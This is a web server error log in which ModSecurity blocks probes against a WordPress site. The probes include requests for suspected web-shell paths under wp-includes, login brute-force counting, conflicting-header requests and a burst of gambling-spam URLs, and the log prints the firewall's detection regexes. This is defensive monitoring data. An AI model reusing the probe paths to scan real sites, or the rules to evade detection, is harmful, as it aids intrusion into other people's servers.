[Thu Apr 23 09:55:58.846217 2026] [:error] [pid 59700:tid 59707] [client 91.230.225.22:37543] [client 91.230.225.22] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.230.225.22, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/acme-challenge/wp-login.php"] [unique_id "ael8LpXyGZJFeAIDWtmVSAAAAUU"]
[Thu Apr 23 09:55:58.859305 2026] [proxy_fcgi:error] [pid 59700:tid 59707] [client 91.230.225.22:37543] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:55:59.148576 2026] [:error] [pid 59700:tid 59704] [client 91.230.225.22:37543] [client 91.230.225.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/av.php"] [unique_id "ael8L5XyGZJFeAIDWtmVTQAAAUI"]
[Thu Apr 23 09:56:00.264723 2026] [:error] [pid 42972:tid 43034] [client 91.230.225.208:32599] [client 91.230.225.208] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/autoload_classmap.php"] [unique_id "ael8MMOAb-3sOknsk4dFbwAAAFI"]
[Thu Apr 23 09:56:00.812322 2026] [:error] [pid 43083:tid 43085] [client 185.192.71.28:65435] [client 185.192.71.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/network.php"] [unique_id "ael8MDC5hrvNXosL83IYTgAAAMA"]
[Thu Apr 23 09:56:03.317023 2026] [:error] [pid 25635:tid 25644] [client 185.192.71.28:46961] [client 185.192.71.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/XML/content.php"] [unique_id "ael8M8Rxv6UsgRGKB3L7ygAAAQU"]
[Thu Apr 23 09:56:03.872349 2026] [:error] [pid 42973:tid 43053] [client 91.230.225.11:52085] [client 91.230.225.11] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/pomo/item.php"] [unique_id "ael8M26I0QqmmmLTHE3zKwAAAIo"]
[Thu Apr 23 09:56:04.997133 2026] [:error] [pid 65000:tid 65031] [client 91.230.225.209:29149] [client 91.230.225.209] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/pomo/plugins.php"] [unique_id "ael8NL6vRb9j6psK2ZYA5AAAAgI"]
[Thu Apr 23 09:56:05.532908 2026] [:error] [pid 42972:tid 43018] [client 91.230.225.207:28997] [client 91.230.225.207] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/install.php"] [unique_id "ael8NcOAb-3sOknsk4dFtwAAAEI"]
[Thu Apr 23 12:48:17.423766 2026] [:error] [pid 42973:tid 43060] [client 43.159.140.236:49334] [client 43.159.140.236] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aemkkW6I0QqmmmLTHE1PvwAAAJE"]
[Thu Apr 23 14:04:57.733300 2026] [:error] [pid 42973:tid 43049] [client 43.156.168.214:50900] [client 43.156.168.214] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aem2iW6I0QqmmmLTHE1_uAAAAIY"]
[Thu Apr 23 17:43:53.949668 2026] [:error] [pid 25635:tid 25640] [client 51.83.5.74:43772] [client 51.83.5.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "aenp2cRxv6UsgRGKB3IjEAAAAQE"]
[Thu Apr 23 17:43:58.740344 2026] [:error] [pid 42971:tid 42998] [client 51.83.5.74:52056] [client 51.83.5.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/auto%20slot.aspx"] [unique_id "aenp3jEP2_5RswrH8bESxgAAAAw"]
[Thu Apr 23 17:44:02.304647 2026] [:error] [pid 64998:tid 65012] [client 51.83.5.74:52070] [client 51.83.5.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20casino.aspx"] [unique_id "aenp4oV5EysYcTLjmwgNyQAAAco"]
[Thu Apr 23 17:44:06.014019 2026] [:error] [pid 59700:tid 59725] [client 51.83.5.74:47670] [client 51.83.5.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20co.aspx"] [unique_id "aenp5pXyGZJFeAIDWtn5WQAAAVc"]
[Thu Apr 23 17:44:09.541779 2026] [:error] [pid 42973:tid 43067] [client 51.83.5.74:47674] [client 51.83.5.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "aenp6W6I0QqmmmLTHE3c0QAAAJg"]
[Thu Apr 23 17:44:12.272319 2026] [:error] [pid 25635:tid 25646] [client 51.83.5.74:47686] [client 51.83.5.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20original.aspx"] [unique_id "aenp7MRxv6UsgRGKB3IjEgAAAQc"]
[Thu Apr 23 17:44:14.994381 2026] [:error] [pid 64998:tid 65006] [client 51.83.5.74:53752] [client 51.83.5.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "aenp7oV5EysYcTLjmwgN3gAAAcQ"]
[Thu Apr 23 18:06:13.522147 2026] [:error] [pid 64998:tid 65016] [client 43.128.69.143:55728] [client 43.128.69.143] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aenvFYV5EysYcTLjmwgWXQAAAc4"]
[Thu Apr 23 18:07:31.663323 2026] [:error] [pid 64998:tid 65012] [client 121.229.185.160:40464] [client 121.229.185.160] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aenvY4V5EysYcTLjmwgWywAAAco"]
[Thu Apr 23 19:38:08.669088 2026] [:error] [pid 65000:tid 65031] [client 65.108.2.171:52468] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "aeoEoL6vRb9j6psK2ZY1LQAAAgI"]
[Thu Apr 23 19:38:11.038296 2026] [:error] [pid 64998:tid 65013] [client 65.108.2.171:52482] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "aeoEo4V5EysYcTLjmwhCLgAAAcs"]
[Thu Apr 23 19:38:13.380662 2026] [:error] [pid 64998:tid 65003] [client 65.108.2.171:52492] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/h25%20com.aspx"] [unique_id "aeoEpYV5EysYcTLjmwhCOwAAAcE"]
[Thu Apr 23 19:38:15.882446 2026] [:error] [pid 42973:tid 43055] [client 65.108.2.171:35742] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jili%20slot.aspx"] [unique_id "aeoEp26I0QqmmmLTHE39oAAAAIw"]
[Thu Apr 23 19:38:18.361560 2026] [:error] [pid 43083:tid 43109] [client 65.108.2.171:35744] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/joker%20slot.aspx"] [unique_id "aeoEqjC5hrvNXosL83JpjwAAANg"]
[Thu Apr 23 19:38:20.905553 2026] [:error] [pid 64998:tid 65015] [client 65.108.2.171:35746] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/joker%20vip.aspx"] [unique_id "aeoErIV5EysYcTLjmwhCSQAAAc0"]
[Thu Apr 23 19:38:23.404524 2026] [:error] [pid 64998:tid 65003] [client 65.108.2.171:35756] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "aeoEr4V5EysYcTLjmwhCUAAAAcE"]
[Thu Apr 23 19:38:25.959705 2026] [:error] [pid 65000:tid 65031] [client 65.108.2.171:48972] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lava%20slot.aspx"] [unique_id "aeoEsb6vRb9j6psK2ZY1QwAAAgI"]
[Thu Apr 23 19:38:28.481352 2026] [:error] [pid 59700:tid 59708] [client 65.108.2.171:48978] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mega%20slot.aspx"] [unique_id "aeoEtJXyGZJFeAIDWtkSPAAAAUY"]
[Thu Apr 23 19:38:30.875513 2026] [:error] [pid 59700:tid 59718] [client 65.108.2.171:48982] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/metal%20slot.aspx"] [unique_id "aeoEtpXyGZJFeAIDWtkSSAAAAVA"]
[Thu Apr 23 19:38:33.351660 2026] [:error] [pid 46953:tid 46963] [client 65.108.2.171:48994] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20168.aspx"] [unique_id "aeoEuUnlpdHh-P6wKbomZgAAAkc"]
[Thu Apr 23 19:38:35.916167 2026] [:error] [pid 42972:tid 43020] [client 65.108.2.171:1982] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20auto.aspx"] [unique_id "aeoEu8OAb-3sOknsk4cQ7wAAAEQ"]
[Thu Apr 23 19:38:38.470248 2026] [:error] [pid 43083:tid 43095] [client 65.108.2.171:1986] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20betflik.aspx"] [unique_id "aeoEvjC5hrvNXosL83JpsgAAAMo"]
[Thu Apr 23 19:38:40.928440 2026] [:error] [pid 43083:tid 43093] [client 65.108.2.171:1996] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20game%20slot.aspx"] [unique_id "aeoEwDC5hrvNXosL83JptgAAAMg"]
[Thu Apr 23 19:38:43.485624 2026] [:error] [pid 43083:tid 43095] [client 65.108.2.171:2002] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20game.aspx"] [unique_id "aeoEwzC5hrvNXosL83JpuwAAAMo"]
[Thu Apr 23 19:38:46.229169 2026] [:error] [pid 65000:tid 65051] [client 65.108.2.171:6896] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "aeoExr6vRb9j6psK2ZY1qAAAAhI"]
[Thu Apr 23 19:38:48.888894 2026] [:error] [pid 42971:tid 43004] [client 65.108.2.171:6910] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker.aspx"] [unique_id "aeoEyDEP2_5RswrH8bEergAAABI"]
[Thu Apr 23 19:38:51.788036 2026] [:error] [pid 65000:tid 65032] [client 65.108.2.171:6914] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "aeoEy76vRb9j6psK2ZY1uwAAAgM"]
[Thu Apr 23 19:38:54.468552 2026] [:error] [pid 64998:tid 65021] [client 65.108.2.171:6924] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20plus.aspx"] [unique_id "aeoEzoV5EysYcTLjmwhCmQAAAdM"]
[Thu Apr 23 19:38:57.838532 2026] [:error] [pid 46953:tid 46976] [client 65.108.2.171:35764] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "aeoE0UnlpdHh-P6wKbomawAAAlQ"]
[Thu Apr 23 19:39:00.458738 2026] [:error] [pid 42972:tid 43032] [client 65.108.2.171:35776] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "aeoE1MOAb-3sOknsk4cRFQAAAFA"]
[Thu Apr 23 19:39:03.045380 2026] [:error] [pid 42972:tid 43028] [client 65.108.2.171:35784] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "aeoE18OAb-3sOknsk4cRFwAAAEw"]
[Thu Apr 23 20:57:47.434176 2026] [:error] [pid 42973:tid 43063] [client 178.150.14.250:39790] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sa%20casino.aspx"] [unique_id "aeoXS26I0QqmmmLTHE0RtQAAAJQ"]
[Thu Apr 23 20:57:51.883641 2026] [:error] [pid 65000:tid 65048] [client 178.150.14.250:60432] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "aeoXT76vRb9j6psK2ZZxggAAAg8"]
[Thu Apr 23 20:57:54.892868 2026] [:error] [pid 65000:tid 65045] [client 178.150.14.250:60434] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "aeoXUr6vRb9j6psK2ZZxkQAAAgw"]
[Thu Apr 23 20:57:58.319997 2026] [:error] [pid 64998:tid 65015] [client 178.150.14.250:58028] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20777.aspx"] [unique_id "aeoXVoV5EysYcTLjmwhspgAAAc0"]
[Thu Apr 23 20:58:01.076044 2026] [:error] [pid 42973:tid 43044] [client 178.150.14.250:58044] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20888.aspx"] [unique_id "aeoXWW6I0QqmmmLTHE0R2QAAAIE"]
[Thu Apr 23 20:58:04.297063 2026] [:error] [pid 65000:tid 65045] [client 178.150.14.250:58056] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%2099.aspx"] [unique_id "aeoXXL6vRb9j6psK2ZZxoAAAAgw"]
[Thu Apr 23 20:58:06.858990 2026] [:error] [pid 42971:tid 43003] [client 178.150.14.250:50880] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20auto.aspx"] [unique_id "aeoXXjEP2_5RswrH8bEnDwAAABE"]
[Thu Apr 23 20:58:09.553733 2026] [:error] [pid 64998:tid 65022] [client 178.150.14.250:50882] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20demo.aspx"] [unique_id "aeoXYYV5EysYcTLjmwhsvwAAAdQ"]
[Thu Apr 23 20:58:11.989464 2026] [:error] [pid 65000:tid 65040] [client 178.150.14.250:50908] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20free.aspx"] [unique_id "aeoXY76vRb9j6psK2ZZxtAAAAgc"]
[Thu Apr 23 20:58:15.050948 2026] [:error] [pid 42972:tid 43020] [client 178.150.14.250:50912] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "aeoXZ8OAb-3sOknsk4cxPgAAAEQ"]
[Thu Apr 23 20:58:18.378720 2026] [:error] [pid 59700:tid 59724] [client 178.150.14.250:46858] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20joker.aspx"] [unique_id "aeoXapXyGZJFeAIDWtkjrAAAAVY"]
